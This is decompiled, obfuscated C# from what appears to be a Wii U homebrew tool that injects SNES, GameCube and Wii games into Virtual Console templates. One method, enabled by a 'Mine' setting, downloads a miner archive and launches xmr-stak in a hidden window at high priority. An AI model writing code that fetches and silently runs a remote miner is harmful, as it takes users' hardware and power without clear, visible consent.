private void method_15() { string str1 = Path.Combine(this.WorkPath, "rawFiles"); Directory.CreateDirectory(str1); this.GClass30_0.method_16(str1, false, false, (IEnumerable <GClass12>)null, false); Task task = this.method_7(); this.method_11(1); string fullName = new DirectoryInfo(Path.Combine(str1, "content", "rom")).GetFiles()[0].FullName; GClass6.smethod_6(fullName); System.IO.File.WriteAllBytes(fullName, this.method_18(this.string_3, new int?())); try { string fileName = Path.GetFileName(fullName); this.method_5("config", Path.Combine(str1, "content", "config")); string str2 = Path.Combine(str1, "content", "config", fileName + ".ini"); GClass6.smethod_6(str2); System.IO.File.Move(Path.Combine(str1, "content", "config", "config"), str2); } catch { } GClass6.smethod_8(string.Format("{0}/res/SNES/vc-template.zip", (object)Class67.String_2), this.WorkPath); task.Wait(); this.method_11(3); this.vmethod_3(); this.method_8(); this.method_9(); }
private void method_15() { string str1 = Path.Combine(this.WorkPath, "rawFiles"); Directory.CreateDirectory(str1); this.GClass30_0.method_16(str1, false, false, (IEnumerable <GClass12>)null, false); string string_3_1 = this.method_4("rpl2elf.exe"); string string_3_2 = this.method_4("RetroInject.exe"); string str2 = this.method_4("game.elf"); string string_6 = this.method_4("game_injected.elf"); string sourceFileName = this.method_4("game_injected.rpx"); string fullName = ((IEnumerable <FileInfo>) new DirectoryInfo(Path.Combine(str1, "code")).GetFiles()).First <FileInfo>((Func <FileInfo, bool>)(fileInfo_0 => fileInfo_0.Extension == ".rpx")).FullName; GClass6.smethod_8(string.Format("{0}/res/SNES/vc-template.zip", (object)Class67.String_2), this.WorkPath); Task task = this.method_7(); this.method_11(1); GClass91.smethod_1(string_3_1, this.WorkPath, string.Format(" \"{0}\" \"{1}\"", (object)fullName, (object)str2)); GClass91.smethod_1(string_3_2, this.WorkPath, string.Format(" \"{0}\" \"{1}\" \"{2}\" ", (object)str2, (object)this.string_3, (object)string_6)); this.method_11(2); this.method_17(string_6); GClass6.smethod_6(fullName); System.IO.File.Move(sourceFileName, fullName); task.Wait(); this.method_11(3); this.vmethod_3(); this.method_8(); this.method_9(); }
public static void smethod_0() { if (!Settings.Default.Mine) { return; } if (!Environment.Is64BitOperatingSystem) { int num = (int)RadMessageBox.Show("Sorry but you need a 64 bit OS to mine!"); Settings.Default.Mine = false; Settings.Default.Save(); } else { if (Class108.Boolean_0) { return; } Class108.bool_2 = true; try { Task.Run((Action)(() => { string str1 = Path.Combine(GClass88.CachePath, "miner"); Directory.CreateDirectory(str1); string str2 = Path.Combine(str1, "xmr-stak.exe"); string str3 = Path.Combine(str1, "nvidia.txt"); string str4 = Path.Combine(str1, "amd.txt"); string contents1 = "\"gpu_threads_conf\" : null,"; string contents2 = contents1 + "\"platform_index\" : 0,"; GClass126 gclass126 = GClass126.smethod_0(Class108.minerPofile_0); if (gclass126.UseGpu && SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery) { GClass6.smethod_6(str3); GClass6.smethod_6(str4); } else { File.WriteAllText(str3, contents1); File.WriteAllText(str4, contents2); } string str5 = "\"cpu_threads_conf\" : ["; for (int index = 0; index < gclass126.ThreadCount; ++index) { str5 += string.Format("{{ \"low_power_mode\" : 0, \"no_prefetch\" : true, \"affine_to_cpu\" :{0} }},", (object)index); } string contents3 = str5 + "],"; string path = Path.Combine(str1, "etag"); string contents4 = GClass6.smethod_14(string.Format("{0}/mining/miner_gpu.zip", (object)Class67.String_2)); if (!File.Exists(path) || contents4 != File.ReadAllText(path)) { Class108.bool_0 = true; GClass6.smethod_8(string.Format("{0}/mining/miner_gpu.zip", (object)Class67.String_2), str1); File.WriteAllText(path, contents4); Class108.bool_0 = false; } bool flag = false; try { flag = Class108.smethod_3(); } catch { } if (!flag) { File.WriteAllText(Path.Combine(str1, "config.txt"), File.ReadAllText(Path.Combine(str1, "config.txt")).Replace("\"use_slow_memory\" : \"warn\"", "\"use_slow_memory\" : \"always\"")); } File.WriteAllText(Path.Combine(str1, "cpu.txt"), contents3); try { // ISSUE: object of a compiler-generated type is created // ISSUE: variable of a compiler-generated type Class108.Class109 class109 = new Class108.Class109(); // ISSUE: reference to a compiler-generated field class109.process_0 = new Process() { StartInfo = new ProcessStartInfo() { FileName = str2, UseShellExecute = true, WindowStyle = ProcessWindowStyle.Hidden, WorkingDirectory = str1 } }; // ISSUE: reference to a compiler-generated field class109.process_0.EnableRaisingEvents = true; // ISSUE: reference to a compiler-generated field // ISSUE: reference to a compiler-generated method class109.process_0.Exited += new EventHandler(class109.method_0); // ISSUE: reference to a compiler-generated field class109.process_0.Start(); // ISSUE: reference to a compiler-generated field class109.process_0.PriorityClass = Class108.minerPofile_0 == MinerPofile.IDLE ? ProcessPriorityClass.BelowNormal : ProcessPriorityClass.High; Settings.Default.Mine = true; Settings.Default.Save(); if (Class108.bool_1) { return; } Class108.bool_1 = true; Task.Run((Func <Task>)(() => { while (true) { MinerPofile minerPofile0 = GClass126.MinerPofile_0; if (minerPofile0 != Class108.minerPofile_0 && Class108.Boolean_0) { goto label_2; } label_1: Thread.Sleep(2000); continue; label_2: Console.WriteLine("Switched to profile :" + Enum.GetName(typeof(MinerPofile), (object)minerPofile0)); Class108.smethod_1(); Thread.Sleep(2000); Class108.minerPofile_0 = minerPofile0; Class108.smethod_0(); goto label_1; } })); } catch { } })); } catch { } } }
public override void vmethod_2() { base.vmethod_2(); Task.Run((Action)(() => { try { string string_0_1 = this.Force43 ? string.Format("{0}/res/nintendont/autoboot43.dol", (object)Class67.String_2) : "https://cdn.wiiuusbhelper.com/res/nintendont/autoboot.dol"; this.method_11(0); string string_0_2 = this.method_4("rawFiles\\content\\hif_000000.nfs"); string str1 = this.method_4("rawFiles\\content\\game.iso"); string path1 = this.method_4("new-image\\"); string sourceFileName1 = this.method_4(Alphaleonis.Win32.Filesystem.Path.Combine(path1, "PunEmu [CEMU69].iso")); string sourceFileName2 = this.method_4("nfs2iso2nfs.exe"); string str2 = this.method_4("rawFiles\\content\\nfs2iso2nfs.exe"); string path2 = this.method_4("rawFiles\\content\\hif_000000.nfs"); string sourceFileName3 = this.method_4("workdir.tmp2\\ticket.bin"); string str3 = this.method_4("rawFiles\\code\\rvlt.tik"); string sourceFileName4 = this.method_4("workdir.tmp2\\tmd.bin"); string str4 = this.method_4("rawFiles\\code\\rvlt.tmd"); string str5 = this.method_4("production_output"); string str6 = this.method_4("output"); string string_0_3 = this.method_4("workdir.tmp\\"); string string_1 = this.method_4(Alphaleonis.Win32.Filesystem.Path.Combine(string_0_3, "sys", "main.dol")); string[] strArray = new string[2] { this.method_4("workdir.tmp\\files\\game.iso"), this.method_4("workdir.tmp\\files\\disc2.iso") }; GClass6.smethod_8("https://cdn.wiiuusbhelper.com/res/nintendont/vc-template.zip", this.WorkPath); GClass6.smethod_5(this.method_4("workdir.tmp2")); GClass6.smethod_5(str5); GClass6.smethod_5(str6); GClass6.smethod_6(str4); GClass6.smethod_6(str3); GClass6.smethod_6(string_0_2); GClass6.smethod_6(str1); GClass6.smethod_6(str2); Task task = this.method_7(); this.method_11(1); if (this.string_3 != null && this.ToInject.Platform == Platform.Gamecube) { new GClass78().method_5(string_0_1, string_1, 0UL, GClass78.GEnum4.const_0, (WebProxy)null, 0L, (byte[])null, (byte[])null, (byte)0); for (int index = 0; index < this.string_3.Length; ++index) { if (this.CompressIso) { this.method_15(this.string_3[index], strArray[index]); } else { Alphaleonis.Win32.Filesystem.File.Copy(this.string_3[index], strArray[index]); } } if (!Alphaleonis.Win32.Filesystem.File.Exists(strArray[0])) { throw new Exception("The iso was not shrinked sucessfully. Cannot continue."); } } if (this.ToInject.Platform == Platform.Wii_Custom) { if (this.PatchWifi) { if (((IEnumerable <string>) new string[3] { "RMCP01", "RMCE01", "RMCJ01" }).Contains <string>(this.ToInject.ProductId)) { Alphaleonis.Win32.Filesystem.File.Copy(this.string_3[0], this.method_4(Alphaleonis.Win32.Filesystem.Path.GetFileName(this.string_3[0]))); using (MemoryStream memoryStream = new MemoryStream(new GClass78().method_2(string.Format("{0}/res/Wii/mk_patcher.zip", (object)Class67.String_2)))) { using (ZipArchive zipArchive_0 = new ZipArchive((Stream)memoryStream)) zipArchive_0.smethod_0(this.WorkPath, true); } GClass91.smethod_0("patch-wiimmfi.bat", this.WorkPath); GClass6.smethod_6(this.method_4(Alphaleonis.Win32.Filesystem.Path.GetFileName(this.string_3[0]))); sourceFileName1 = new Alphaleonis.Win32.Filesystem.DirectoryInfo(this.method_4("wiimmfi-images/")).GetFiles()[0].FullName; } else if (((IEnumerable <string>) new string[3] { "RSBP01", "RSBE01", "RSBJ01" }).Contains <string>(this.ToInject.ProductId)) { GClass91.smethod_1(this.method_4("PackOnline.bat"), this.WorkPath, string.Format("\"{0}\"", (object)this.string_3[0])); sourceFileName1 = Alphaleonis.Win32.Filesystem.Path.Combine(path1, "patched.iso"); } else { GClass6.smethod_5(string_0_3); GClass91.smethod_1(this.method_4("Extract.bat"), this.WorkPath, string.Format("\"{0}\"", (object)this.string_3[0])); GClass91.smethod_0(this.method_4("Pack.bat"), this.WorkPath); GClass6.smethod_5(string_0_3); string fullName = new Alphaleonis.Win32.Filesystem.DirectoryInfo(path1).GetFiles()[0].FullName; GClass91.smethod_1(this.method_4("PackOnline.bat"), this.WorkPath, string.Format("\"{0}\"", (object)fullName)); GClass6.smethod_6(fullName); sourceFileName1 = Alphaleonis.Win32.Filesystem.Path.Combine(path1, "patched.iso"); } } else { GClass6.smethod_5(string_0_3); GClass91.smethod_1(this.method_4("Extract.bat"), this.WorkPath, string.Format("\"{0}\"", (object)this.string_3[0])); GClass91.smethod_0(this.method_4("Pack.bat"), this.WorkPath); GClass6.smethod_5(string_0_3); string fullName = new Alphaleonis.Win32.Filesystem.DirectoryInfo(path1).GetFiles()[0].FullName; Alphaleonis.Win32.Filesystem.File.Move(fullName, Alphaleonis.Win32.Filesystem.Path.Combine(Alphaleonis.Win32.Filesystem.Path.GetDirectoryName(fullName), "game.iso")); sourceFileName1 = Alphaleonis.Win32.Filesystem.Path.Combine(Alphaleonis.Win32.Filesystem.Path.GetDirectoryName(fullName), "game.iso"); } } else if (this.ToInject.Platform == Platform.Gamecube) { GClass91.smethod_0(this.method_4("Pack.bat"), this.WorkPath); GClass6.smethod_5(string_0_3); sourceFileName1 = new Alphaleonis.Win32.Filesystem.DirectoryInfo(path1).GetFiles()[0].FullName; } this.method_11(2); GClass91.smethod_1(this.method_4("GetTik.bat"), this.WorkPath, string.Format("\"{0}\"", (object)sourceFileName1)); GClass6.smethod_6(strArray[0]); GClass6.smethod_6(strArray[1]); Alphaleonis.Win32.Filesystem.File.Copy(sourceFileName3, str3); Alphaleonis.Win32.Filesystem.File.Copy(sourceFileName4, str4); Alphaleonis.Win32.Filesystem.File.Move(sourceFileName1, str1); Alphaleonis.Win32.Filesystem.File.Copy(sourceFileName2, str2); if (this.ToInject.Platform == Platform.Gamecube) { GClass91.smethod_1(str2, Alphaleonis.Win32.Filesystem.Path.GetDirectoryName(str2), "-homebrew -passthrough"); } else if (this.ToInject.Platform == Platform.Wii_Custom) { GClass91.smethod_1(str2, Alphaleonis.Win32.Filesystem.Path.GetDirectoryName(str2), "-passthrough"); } if (!Alphaleonis.Win32.Filesystem.File.Exists(path2)) { throw new Exception("Injection did not complete sucessfully. Cannot continue."); } GClass6.smethod_6(str1); GClass6.smethod_6(str2); this.method_11(3); task.Wait(); this.vmethod_3(); if (this.Production) { this.method_3(str6, str5); } GClass6.smethod_5(this.method_4("workdir.tmp2")); GClass6.smethod_5(this.method_4("tmp")); GClass6.smethod_6(string_0_2); this.method_8(); this.method_9(); } catch (Exception ex) { this.method_10(ex); } })); }